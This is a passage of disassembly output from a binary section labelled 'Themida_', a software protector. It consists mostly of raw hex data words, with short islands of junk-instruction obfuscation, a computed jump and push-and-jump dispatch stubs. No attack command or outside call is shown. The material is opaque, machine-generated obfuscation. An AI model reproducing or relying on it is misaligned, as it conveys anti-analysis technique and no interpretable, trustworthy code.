		dd 549C605Fh, 0C3941B09h, 896A67B0h, 4A3E0B1Ch,	0A50F1580h
		dd 0BF936752h, 6548F75Bh, 5B42F11h, 4D51FFD3h, 0AEC6142Fh
		dd 426028ABh, 0E1BDA69Ch, 0A30D159Bh, 2C00645Bh, 89B8CF3Eh
		dd 71603B4Eh, 40EEBC77h, 194F06AEh, 21C0446Dh, 32383D9Ch
		dd 9F4DA128h, 7EDD2A6Eh, 5B2F197Dh, 0E7A8AF9h, 81307249h
		dd 65E9D42Ch, 0AE9CD21h, 0AFB8879Dh, 8C6B3F32h,	0E0EC141h
		dd 0AD000007h, 14F16259h, 0C2233001h, 0AC599AB7h, 1BF46F56h
		dd 9E253E01h, 516CB457h, 211C6582h, 0F4C3D532h,	5875BE6Fh
		dd 72FA769Bh, 0C5849816h, 0DEB22A99h, 8F78FBDAh, 709D4F7Ah
		dd 79FA1425h, 0F8D5DE9Bh, 46798372h, 0ACF9A0A8h, 0BD31FE04h
		dd 0C3941DC9h, 2C00645Eh, 1DDFAF37h, 8DEFC394h,	96C064F6h
		dd 19BD849Bh, 7CA93B21h, 3333C329h, 0E98F7A91h,	23CD01F5h
		dd 77ECD92Ah, 0CCB08D96h, 4E798F7Eh, 0FB801CA0h, 8E0CFD71h
		dd 0B9814470h, 6D0125AEh, 0F95EB48Ch, 675h, 6A89C0D2h
		dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h
		dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h,	849BBDC9h
		dd 0DD4332C5h, 1A6DD5DEh, 3675B2Fh, 0FE0EADBFh,	0AC28B662h
		dd 63790DA1h, 0F4CEC394h, 82977690h, 51AC3B7h, 0EA4AAAE3h
		dd 9AFEFB97h, 0C4802436h, 4BC39413h, 477E8677h,	81C569F3h
		dd 6C39413h, 283013Ch, 1FBC8E08h, 745CF888h, 201D66CDh
		dd 0EA04785Ch, 0C3D43DC8h, 7A936DF6h, 5732416Dh, 0Eh, 0F2CFD8C5h
		dd 261CCA0Eh, 195C8h, 27A75000h, 17C3941Dh, 0E26CFE85h
		dd 66EAE533h, 7C435B22h, 0CA9AB488h, 0BD849BB1h, 0FB2A300Ah
		dd 85C165AEh, 0A3A7B63h, 63DAAEC6h, 55AD3A7Bh, 29C61D71h
		dd 0E97BE1DCh, 0E37CC972h, 0E9794F22h, 3A7BAB9Dh, 9DEF2812h
		dd 7B971761h, 0C82028C6h, 29BDAFB4h, 447085D8h,	0FBE26D55h
		dd 6E8C6D08h, 57323E4h,	0C6D00000h, 6CBB548Fh, 1A69865Dh
		dd 0CBD33C27h, 7ABE6FF4h, 3239985Bh, 65FEC1DBh,	954E7388h
		dd 0C2112C78h, 7EE5D025h, 0B3D75F8Dh, 34C5849Ah, 0D5DEDF45h
		dd 0D7C614F8h, 0C90DF1C0h, 7DE52E1Fh, 54381C2Bh, 0F41DA8EAh
		dd 174496A3h, 0DC29FF3Dh, 1E391DE1h, 86A07669h,	7FFA13EDh
		dd 7D73241h, 31000000h,	0C9C8h,	0D6F5000h, 0C85AE476h
		dd 941D20A4h, 0AB41E7C3h, 0F2329B4Bh, 1B44E605h, 5E7B3F48h
		dd 2838CC7Ah, 4ABD8408h, 0F482D315h, 64BF1470h,	98A79B3Ah
		dd 0F7657CF6h, 64D00B7Fh, 88A69C3Ah, 0E5DC228Bh, 59AA5B81h
		dd 0D16F76Ch, 502C4C30h, 0FE8D21CBh, 4F447456h,	0E334E10Bh
		dd 97E00DD6h, 0C6D6D6BAh, 2A07AFBDh, 564E7F51h,	5824A0C4h
		dd 57AB2E41h, 0A0F55AB9h, 49B6B195h, 60927C4Eh,	48B2DE2h
		dd 0DE280000h, 84937CE7h, 3241AEB5h, 0D32BC41Fh, 829677ECh
		dd 0CA11A0B3h, 0DD6E933h, 0BDA69BE0h, 0EA094450h, 6DDE83Dh
		dd 8BFF77F5h, 1CC5849Ah, 5FC837ADh, 24000001h, 1D76129Ah
		dd 81F9C394h, 1DB7D35Bh, 0C238C394h, 0D6F3E24h,	0AB5AE476h
		dd 31C5635Eh, 0BD849B31h, 0E716C43Eh, 48B5A792h, 5ABE023Fh
		dd 0C9DACBACh, 0C92D1069h, 0FE06F745h, 11754C52h, 0FFBF69ADh
		dd 0CA54869Dh, 7B6026A2h, 605FA73Ah, 0DDFB89Ch,	7B60ED99h
		dd 2418623Ah, 0BFCC600Ah, 30446BE6h, 197D4C5Fh,	415441D3h
		dd 2277D670h, 0D623CC17h, 4FE771FBh, 304AE63Bh,	45946D8Ch
		dd 45253628h, 2B43C761h, 0CBD13C51h, 5C087CF4h,	5DF304Ah
		dd 9ECCDFEBh, 6246BC1Bh, 0F1F16EF8h, 0DA96CB8Ah, 0AE8353FDh
		dd 0BF4E414Dh, 413D8C5Bh, 9E74927Eh, 3A039h, 0DCEB3F00h
		dd 0A29FE607h, 744554B1h, 0D9F83EEFh, 0A897ED1Ah, 6E50C4Bh
		dd 0F710C3F2h, 0A74093AEh, 10FD6651h, 0E029CA07h, 95E0E408h
		dd 9867C584h, 0F8D5DE20h, 6550A514h, 85C165F7h,	0AC3941Dh
		dd 44321630h, 495A4342h, 0B865E77Ch, 48B25C6Dh,	3240F0A1h
		dd 5188h, 33BD5400h, 941DCFBBh,	0CC7A40C3h, 4597ACF0h
		dd 9EE17621h, 5983F7BDh, 0FE6C5DACh, 0AE8CF86Ch, 0AA033A60h
		dd 0A79B6F56h, 5CC2A543h, 3A60AE2Dh, 0F56E5BACh, 145E97Bh
		dd 863A60AEh, 8EB5CDBCh, 0A39EED60h, 9AE00DDFh,	55F3D7BBh
		dd 2F8EEh, 0D6DE7600h, 51A20BFFh, 0DF3C05BFh, 0A88C5D7Dh
		dd 7C495A4Bh, 0F9D42188h, 5B728273h, 0F27593F7h, 9943D8A4h
		dd 609A9E0Fh, 13D7F9FDh, 9A6E42CEh, 71FC88A6h, 0ABBD9F9Ah
		dd 0A91D247Ah, 665CBB55h, 63325292h, 0BDE73A61h, 8B31D830h
		dd 38182C35h, 0E4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh
		dd 0E64E5B4Ah, 0FED2A69Bh, 34D2369Ah, 60CB20A0h, 7A59A13Ah
		dd 0E6D12796h, 0EFFE3012h, 0AB3A7E93h, 35C6B851h, 0B7912Ch
		dd 0DE7F0000h, 0A514F8D5h, 2D9C605Fh, 0B019EDD8h, 9FAAFF67h
		dd 69F3D72Bh, 1D3357DFh, 0DBB4C394h, 719FF3CEh,	1B5D60F6h
		dd 8B9CC394h, 3F48A5BEh, 1E7EBE02h, 0B65FD705h,	74260D6h
		dd 26762033h, 0A6A7CF1Dh, 27446D62h, 77FF09D3h,	30732813h
		dd 0EE80AE94h, 10DAE53Fh, 281A6E86h, 0ED3073h, 1BE2C6FBh
		dd 0B4F330Eh, 97ED1ADDh, 8BCF2973h, 391D67F6h, 69B0CD2Eh
		dd 41060C8Ch
		dd 1F1h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h, 0E90A4951h
		dd 1AD9E43Ch, 4359B4BBh, 0F106E77Ch, 0AEF617CCh, 56A34C97h
		dd 0D913F87Bh, 84973155h, 51C7B6C5h, 78FBDADEh,	944F7A8Fh
		dd 800D6F6Ch, 941D186Ch, 355BAFC3h, 23ACBC51h, 0E00A6E54h
		dd 4F545D7Bh, 9D949620h, 193BC4B0h, 34B65000h, 0F09418AAh
		dd 79C39438h, 5EA4132Eh, 207524B0h, 6697BD9Fh, 64582C11h
		dd 81754DCAh, 60E121A1h, 21ACF43Ah, 34C1249Bh, 53210C03h
		dd 80AE9BEAh, 35016F9Eh, 0CC5A2Ch, 0BDA20000h, 1DCFBB33h
		dd 464EC394h, 0F847BB0Fh, 1D94F074h, 271BC394h,	0DF2825C3h
		dd 55AF1EE2h, 34EE66Ah,	0BAC3941Bh, 66875C69h, 5C5C201Dh
		dd 0BD313B40h, 4260D654h, 5402D129h, 0E2ACE848h, 40D7A618h
		dd 51B51934h, 4C7D8C7Dh, 0BAA084F8h, 6DD73032h,	54A75644h
		dd 93BD9165h, 129C4EB4h, 72B4EE9Ah, 0EF196130h,	2088907Dh
		dd 5182E6DBh, 96516CB4h, 8C6AEA4Fh, 0DEEFA0A2h,	7D000000h
		dd 24C11229h, 9273E0D1h, 7CA94A87h, 2BC41F26h, 0CE75EED1h
		dd 13C44A7h, 0D1EC35D2h, 0A493E502h, 8454EBFh, 0A2CA26EBh
		dd 0C5849626h, 0DE62DAA9h, 8F78FBDAh, 6F3B947Ah, 38D2AC79h
		dd 718E428Fh, 22C80099h, 9459FE8Ah, 150971C3h, 0D5DE36CEh
		dd 50A514F8h, 0A248F765h, 4ED2EABDh, 0D8540F39h, 19EDD82Dh
		dd 0E9B30B25h, 0C648852h, 0C3BD8478h, 5A2E1B6Ah, 7C681C90h
		dd 9BFF3A64h, 0EFF43A7h, 55AC1305h, 9C58125h, 704A3A64h
		dd 628713C7h, 0EF38D50Eh, 0B1053447h, 4795795Dh, 0A3D5B135h
		dd 605A3A64h, 44043EC6h, 0AA8059AFh, 94A1F21Bh,	78555E4Fh
		dd 0E6DD2594h, 20ADE712h, 29146D98h, 46C761A5h,	0B782953Dh
		dd 41AB8FC3h, 0D4724F54h, 94A1F213h, 36F20h, 84890000h
		dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
		dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4768CF7Bh
		dd 89000032h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h
		dd 2C895C24h, 22916824h, 4890000h, 33B95124h, 8126C401h
		dd 0B37EA8E9h, 0CE895620h, 595EF589h, 2F4768h, 24248900h
		dd 4240481h, 58000000h,	4EC81h,	2C890000h, 8408F24h, 582434FFh
		dd 4C481h, 2C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FAF21AE9h, 74651DFFh
; ---------------------------------------------------------------------------
		cld


loc_594DC5:				; CODE XREF: Themida_:loc_5942D0j
		mov	eax, 6108CA6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 4A27h
		dd 0BFF14522h, 0D8B47004h, 0D50069B7h, 8FB63557h, 37AC21DDh
		dd 1FA2773Ch, 0C7183048h, 7EFF3ED3h, 0FE28671Fh, 0A9187219h
		dd 0E465466Dh, 4901067Dh, 0B9252964h, 0F8747CCh, 533D3C33h
		dd 0F6261FE4h, 0F41F44D6h, 0A3C2584h, 6D0033C6h, 576E031Ch
		dd 83402B34h, 718834F5h, 87560C6Fh, 0BAC11AE0h,	36EA5094h
		dd 0B80F6CB1h, 0F0F66A3Fh, 53082B52h, 8D8D5AC2h, 6108E4Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A6C35646h
		dd 394AB55Ah, 174D8D89h, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8BB9DBC3h, 0B2E7D95h
		dd 1985C706h, 60060B01h, 6A000073h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C5DAC351h
		dd 2858F460h, 5467DABBh, 100985C7h, 60Bh, 7E90000h, 0D4000000h
		dd 4A47EBAEh, 0B5FF85D3h, 60B0105h, 23F5BD89h, 95FF060Bh
; ---------------------------------------------------------------------------


loc_594EE4:				; CODE XREF: Themida_:00594F4Dj
		lds	ecx, [edx]
		or	eax, [esi]
		movsx	eax, di
		push	0
		call	dword ptr [ebp+60B32DDh]
		mov	eax, eax
		jmp	short loc_594F23
; ---------------------------------------------------------------------------
		db 4Fh
		dd 5646B110h, 0AC51FDC7h, 0FB749A87h, 1C50935Fh, 9477204Fh
		dd 4C7DE24Ah, 345CBF14h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh
; ---------------------------------------------------------------------------
		mov	dh, 5Ah


loc_594F23:				; CODE XREF: Themida_:00594EF5j
		jmp	loc_595084
; ---------------------------------------------------------------------------
		dd 0F1711D6Fh, 976949EBh, 0B7B5AA4h, 527054B1h,	0B7354BDh
		dd 52785A31h
		db 0CEh, 73h
; ---------------------------------------------------------------------------


loc_594F42:				; DATA XREF: ___:off_438108o
		push	ebx
		cmp	esp, [esi]
		add	es:[edx+77h], edx
		daa
		and	ebp, eax
		push	ebx
		jnp	short loc_594EE4
		popa
		mov	[esi+eax*2+37160D52h], dh
		push	edx
		rcl	byte ptr [edi],	cl
		aaa
		push	edx
		jge	short loc_594F74
		aaa
		push	edx
		mov	edx, 5F523716h
		push	ss
		aaa
		push	edx
		scasd
		push	ss
		aaa
		push	edx
		clc
		push	ss
		aaa
		push	edx
		jmp	short near ptr loc_594F87+1
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_594F74:				; CODE XREF: Themida_:00594F5Cj
		std
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		outs	dx, dword ptr cs:[esi]
		inc	esp
		fstp	tbyte ptr es:[ebx+37h]
		jb	short loc_594F94
		db	64h
		pop	eax


loc_594F87:				; CODE XREF: Themida_:00594F70j
		xor	edx, ecx
		db	65h
		inc	esp
		pmovmskb edx, qword ptr	[esi]
		aaa
		push	edx
		jmp	short loc_594FA8
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_594F94:				; CODE XREF: Themida_:00594F83j
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_594FB4
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_594FA8:				; CODE XREF: Themida_:00594F90j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_594FC8
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_594FB4:				; CODE XREF: Themida_:00594F9Cj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_594FD4
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_594FC8:				; CODE XREF: Themida_:00594FB0j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_594FE8
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_594FD4:				; CODE XREF: Themida_:00594FBCj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_594FF4
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_594FE8:				; CODE XREF: Themida_:00594FD0j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_595008
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_594FF4:				; CODE XREF: Themida_:00594FDCj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_595014
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_595008:				; CODE XREF: Themida_:00594FF0j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_595028
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_595014:				; CODE XREF: Themida_:00594FFCj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_595034
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_595028:				; CODE XREF: Themida_:00595010j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_595048
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_595034:				; CODE XREF: Themida_:0059501Cj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_595054
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_595048:				; CODE XREF: Themida_:00595030j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short loc_595068
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_595054:				; CODE XREF: Themida_:0059503Cj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_595074
		aaa
		push	edx
		mov	esi, 5F523716h
		push	ss
		aaa
		push	edx


loc_595068:				; CODE XREF: Themida_:00595050j
		scasd
		push	ss
		aaa
		push	edx
		xlat
		push	ss
		aaa
		push	edx
		jmp	short near ptr loc_595084+4
; ---------------------------------------------------------------------------
		aaa
		push	edx


loc_595074:				; CODE XREF: Themida_:0059505Cj
		cmc
		push	ss
		aaa
		push	edx
		cli
		push	ss
		aaa
		push	edx
		jge	short loc_595094
		aaa
		push	edx
		or	[esp+eax*2+68h], bl


loc_595084:				; CODE XREF: Themida_:loc_594F23j
					; Themida_:00595070j
		jmp	loc_596764
; ---------------------------------------------------------------------------
		push	61091EBh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		db 68h
; ---------------------------------------------------------------------------


loc_595094:				; CODE XREF: Themida_:0059507Cj
		int	92h		; used by BASIC	while in interpreter
		adc	[esi], al
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	61093B9h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109492h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109655h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	610978Bh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	610989Ch
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	610996Bh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109B84h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109C7Ch
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109D53h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109DF9h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	6109F9Bh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	610A41Eh
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		push	610A521h
		jmp	loc_5503D9
; ---------------------------------------------------------------------------
		db 0CFh
		dd 886BD4B2h, 43A6116Dh, 2E5522Ch, 0C41FE8E6h, 705D2AA4h
		dd 3B93EBBFh, 7650A94Ch, 0B20C6E89h, 0F2CC22C5h, 0A7B0EC05h
		dd 7BADECDAh, 7654B0F9h, 0ADED20EDh, 3CCB377Bh,	5836B445h
		dd 0FBD329B2h, 0B5CB0C0Ch, 40CF33D9h, 508E746Ah, 346CFC72h
		dd 385B9B71h, 0D24CFB3Fh, 6E99750Eh, 8ACE8F9Bh,	9F48A64Fh
		dd 6F92CD12h, 0D8DAB321h, 2B1A32C1h, 5B1CC04Fh,	20CAA620h
		dd 933E3E8Fh, 0A68686Fh, 3C763B2Ch, 0BD9D6F93h,	933CE9B6h
		dd 5320E6Fh, 0CE358C7Fh, 51BC0D09h, 43h, 482E47Fh, 0BD393AE6h
		dd 514F36C1h, 5D1BE073h, 0E501759Dh, 7D9F43E9h,	0A638729Dh
		dd 79F1625Ch, 744F8A74h, 7CCD6684h, 166F9234h, 2D96EBDEh
		dd 0FEBC0E18h, 0D7h, 0EAB7A09Eh, 96F923Eh, 0B49F0631h
		dd 0CCB25836h, 5CB845EEh, 63DF759Dh, 0FDD911D4h, 97D6114Fh
		dd 2F4A0D3Fh, 2B75FB57h, 739CB074h, 2B4124D3h, 0C826B953h
		dd 135790CEh, 4A9D8CBBh, 759E1208h, 58C203C9h, 0E7963ED9h
		dd 675F9D58h, 0A71F5D98h, 1E9FD85h, 4D603C27h, 0E5554F8Bh
		dd 64CE101Ah, 0D32B2C0Ah, 0C54A9DFBh, 0D26F930Ch, 9B16E16Eh
		dd 80498539h, 0F7605EB8h, 69855A2Ah, 7A549649h,	3513719Eh
		dd 32DDB932h, 0F05F37B7h, 5B99F575h, 0E45980EDh, 26AD6802h
		dd 5F000014h, 18DBA422h, 0D316E1DDh, 9255229Ch,	548F7856h
		dd 0C0CDBA14h, 8B037B2Fh, 0C6C0393Ch, 27CFE79h,	423CB2B5h
		dd 0D7007CF5h, 7BADEE4Ah, 0B43D2069h, 0DDB93D34h, 1D539661h
		dd 7BEFD6A1h, 0B6A19F63h, 4F8A7436h, 7725C73Bh,	0EC1E78FCh
		dd 0E770030Ch, 816F9233h, 0C304804Bh, 201C46AAh, 0D8B4A529h
		dd 73D8D37Ch, 34BC0E1Dh, 0B3h, 5836B4C1h, 92D129B2h, 0E7DF1958h
		dd 2ABDAF0Bh, 759D58A8h, 0A7106E8Ch, 7650AEA9h,	0F6D02EC9h
		dd 6E06654h, 0A611D34Dh, 0CB1397A0h, 30ECEA00h,	61710DD6h
		dd 0B2B84F8Ah, 64666375h, 0C0D77175h, 9BD598AEh, 0F885AE88h
		dd 1F6F91F5h, 0F7681423h, 33EF1D79h, 1CC2E857h,	0A76FF8D6h
		dd 0BA498425h, 8FEF6846h, 4DAD4837h, 949FF371h,	1AB0E45Ah
		dd 13443Bh, 8A047900h, 0C7BF3A3Dh, 7EFD78h, 5E38BCB7h
		dd 98F676F1h, 511DE2Fh,	0DB1EE9E5h, 985B24A2h, 5C97605Eh
		dd 12D7A01Eh, 0EF2CF162h, 464B7BADh, 5A34B41Fh,	482FB7Ch
		dd 93E90CFBh, 0B4554C3Bh, 0E57E5836h, 51FB0482h, 3690E86Bh
		dd 0B6106E09h, 615D9F58h, 9AF470CBh, 172C8870h,	0EC4CFED8h
		dd 0FA71F463h, 0AF0B83FBh, 0CAC43ABDh, 42399A7Dh, 1A78569Ch
		dd 426A0D9h, 5C820FD4h,	9A4D759Dh, 759D5D15h, 5E3CDE22h
		dd 9D5D0895h, 77D32F75h, 531FC8C8h, 0BA4F8A74h,	0B94640B9h
		dd 895C3B07h, 75FFE441h, 1D5904DAh, 78EBC5A1h, 51F51BE4h
		dd 0B7C369D1h, 6AEDCB2Fh, 0AA96B412h, 0DB169B4Ch, 0DD3D71FCh
		dd 10815232h, 0F4BEE5Eh, 0DC12D533h, 274384E2h,	53B1A0AFh
		dd 0CD7F5790h, 0E907E26Dh, 7D0D57EDh, 6802E1F0h, 1258ADh
		dd 96F00D00h, 0D3ABCE29h, 6C6A8164h, 0AA2440A3h, 0E4E21ADDh
		dd 29FD321Bh, 0EF0AF5D1h, 0AC47308Eh, 60834C4Ah, 2EC38C0Ah
		dd 0F018E54Eh, 723F7BADh, 5836B40Bh, 3A00E6B2h,	0EBE31BDCh
		dd 4B579941h, 0EF7698F2h, 0B5BE1E29h, 4F8A9109h, 80632C2Ch
		dd 80FE6C6Ah, 0BDAF2747h, 6A64865Dh, 2911D5DDh,	1F764CFh
		dd 0E2C04982h, 81E0AC71h, 0C877CB69h, 506B4E14h, 0F2AF760h
		dd 0F1496982h, 132F5A7Fh, 0F87B59B7h, 0B9E70581h, 8251E1AEh
		dd 0AE0AF669h, 0CF785695h, 0FF8D614h, 123896D4h, 0BC9A6086h
		dd 6866855Eh, 66F11EC2h, 4371E419h, 63E4C23Eh, 23C6B10Dh
		dd 4F5BF1CDh, 78323997h, 0BA29C341h, 4182E0DEh,	0D7A2AD29h
		dd 3D5F4733h, 3C08CA36h, 0D3F07794h, 117FDC39h,	0C9260000h
		dd 84E702CDh, 43BABD0Ah, 0FD79FC4Bh, 0BB333681h, 0D61B74C3h
		dd 632CAAC2h, 0A06F6780h, 0DCAB2345h, 1CEBE319h, 0F1BEA9D7h
		dd 67BADF0h, 34B4548Bh,	80FB7C5Ah, 0B34E406h, 0DD0161Ch
		dd 0E07B91EDh, 231F0D89h, 0AF8DEB47h, 0CD7A5494h, 8A6A363Ah
		dd 26449F4Fh, 0B15E82A8h, 0DF16540Fh, 0DB0725A1h, 0D669837Fh
		dd 96513E98h, 22007E58h, 92496C31h, 88B78B6Fh, 0C02ABCC4h
		dd 0B54288E6h, 12EFC683h, 0FA9E6996h, 0F497F4Bh, 28461933h
		dd 0EB36BCAEh, 73E8F8EBh, 0AA24449Fh, 0B118DE80h, 705B91F7h
		dd 0B6A19BD1h, 6986F5E9h, 33D9B537h, 11CD4DCFh,	0C2BC3C37h
		dd 0D847F028h, 0B3A40CD2h, 6986F5EEh, 7F593505h, 28A6C601h
		dd 388541Fh, 0ADAD4374h, 1876F073h, 4F010EF2h, 6436DB11h
		dd 0DE322785h, 5E38B631h, 661EA60h, 83B3044Ah, 42EDB2A5h
		dd 360A637Ch, 0DD134709h, 8F58B6EEh, 637C4302h,	941E2911h
		dd 0A58EE852h, 3D695099h, 70F35CBCh, 680FBFAh, 9E2F80AAh
		dd 0B45D7141h, 2FB05A34h, 4A0698CCh, 6044D1D3h,	0B016684h
		dd 5BD1C6C0h, 449BD170h, 51ABA826h, 0CB2E9975h,	6733D9B5h
		dd 8A5DBB7Fh, 375DDCDAh, 98C7BC7h, 0E2489E89h, 6F365384h
		dd 5B913155h, 7BF1C2EFh, 0F355CD03h, 0A59547F0h, 0D69EACAh
		dd 8BE386B1h, 2B1FD533h, 0DB4428C5h, 1A400C3Bh,	0A25E3DD4h
		dd 1A25216Eh, 54C1FE4Fh, 7FC31B51h, 53D1D601h, 6AD62B44h
		dd 0D9B5CB0Ch, 8A0464FFh, 0A08FB860h, 71AF2745h, 333BC013h
		dd 0E0584B44h, 32D05D86h, 1BE74B44h, 5F9F20ECh,	0A7ABED67h
		dd 0AA40029Ah, 0FBC6Bh,	328CE100h, 4F47A245h, 88066580h
		dd 0C6C0243Fh, 7EFE79h,	8D9956B7h, 43A6116Dh, 0E3AC2Ah
		dd 0C41FE8E6h, 8A5F28A6h, 0F2B479EAh, 0CEC37BADh, 5A34B497h
		dd 9AF40AEDh, 0AFC90A70h, 2F4D28D7h, 61DDB930h,	6554ACCBh
		dd 5F28A6C4h, 0D6C4EB61h, 95834BD7h, 6DCD7F57h,	0C02B86B1h
		dd 63B6023Dh, 17Eh, 5836B474h, 0FBD329B2h, 8102579Dh, 2D239BDCh
		dd 2445E863h, 0D241CEAAh, 1F5B06D8h, 7AEDCBA7h,	4F8A862Eh
		dd 0A205271Bh, 6F928619h, 0FB4EBDB3h, 0BC0DC190h, 3413h
		dd 637B2400h, 36B6A19Fh, 3B4F8A74h, 398225C7h, 2F6F9234h
		dd 8659F3CBh, 91C16B63h, 2F386C5Fh, 6F923262h, 6A2D8971h
		dd 69D22792h, 3ABC0E18h, 0B8h, 5836B4DBh, 9FD129B2h, 559159BFh
		dd 0D96FD379h, 0CF3C0BAFh, 0C190DCDCh, 4DFF5B37h, 0F01A748Ah
		dd 5531498Ah, 39BC4BB7h, 0E97CCBC3h, 759DCF67h,	77512D43h
		dd 549F79FCh, 759DCDC7h, 0BEB06CECh, 76414754h,	0F160EF78h
		dd 0E3DD25B9h, 906B2A70h, 95F34F4Fh, 0D3BC1A52h, 64FED810h
		dd 0DE4E513Ch, 86DC39D3h, 3F00000Eh, 0F87BC4C2h, 0B3B6017Dh
		dd 72F5423Ch, 342F98F6h, 606DDAB4h, 2BA3DBCFh, 6660995Ch
		dd 0A21C5E99h, 0E2DC12D5h, 0B7A0DC15h, 7BADF3EAh, 0B45D8009h
		dd 1E7C5A34h, 3B28A6C5h, 759D5C76h, 0A392BD9Dh,	0B4CB2A40h
		dd 0A66BFCDAh, 0CD759D5Ch, 3F26914Dh, 78569651h, 6E16ED2h
		dd 157189E8h, 0B2C893B9h, 0F6D6BD4h, 9D5D5724h,	739C7C75h
		dd 57B7AF0h, 95F32D89h,	9D5CBD42h, 0D966DA75h, 0B77B6337h
		dd 59F79359h, 1CDF69E4h, 0BCB795F3h, 76AA403Eh,	8E663EC9h
		dd 655B4F8Ah, 926E2DF2h, 5B914A6Fh, 5C2B8763h, 7E5E3h
		dd 96518400h, 0D41F7955h, 759D5D47h, 8063EC6Ch,	91ED0968h
		dd 0B5C1735h, 16759D5Eh, 0DB0C6AD0h, 4F8CEFE6h,	30336DEDh
		dd 4442BAB9h, 719E42E8h, 0CD73513h, 6F8CCE7Fh, 0CB714DADh
		dd 0EEFBE11Dh, 817D46C6h, 0A2AD2942h
		dd 622DA9C7h, 0FF6D6987h, 95174B81h, 0F01685C4h, 724CAC47h
		dd 5201D2F0h, 72D379DEh, 0D75h,	0CFBD328h, 47308EE9h, 86714DACh
		dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h
		dd 0ED03E651h, 53CD2691h, 0ADF4FB80h, 6E91187Bh, 0ED5A34B4h
		dd 7FFDF40Ah, 5935E507h, 0F30ACDB3h, 0A11D79FCh, 219DD396h
		dd 3837B00Bh, 0F72BC1BDh, 0C6EF11Bh, 51B98B2h, 774FABB6h
		dd 968965D5h, 0C8AED66h, 4F15221Eh, 378FED7Ch, 0EDFE6548h
		dd 0DA1B602h, 0B6000000h, 9D52C9A4h, 9A11E875h,	36FFFFFDh
		dd 79559651h, 26316FD3h, 759D5D59h, 0E275827Eh,	759D5E59h
		dd 0B41269EAh, 159DAA96h, 240F69D1h, 4F8CEFEFh,	2C0A64D4h
		dd 5991D02Bh, 0B76B817Dh, 0B35C3ABCh, 73DCBA30h, 0EE1C7AF0h
		dd 0BBB91555h, 0DE520C13h, 0A65FBE2Ch, 0DF00000Ch, 985B24A2h
		dd 5396615Dh, 12D5A21Ch, 0D40FF8D6h, 404D3A94h,	0B83FBAFh
		dd 4640B9BCh, 82FC7EF9h, 0C2BC3235h, 5780FC75h,	7BADF5CAh
		dd 0B4BDA0E9h, 29B25836h, 8E51FBD3h, 9AF4706Fh,	3E2C8870h
		dd 894A44A5h, 0BDFA106Eh, 4D5254A7h, 76504F7h, 86EDC08Fh
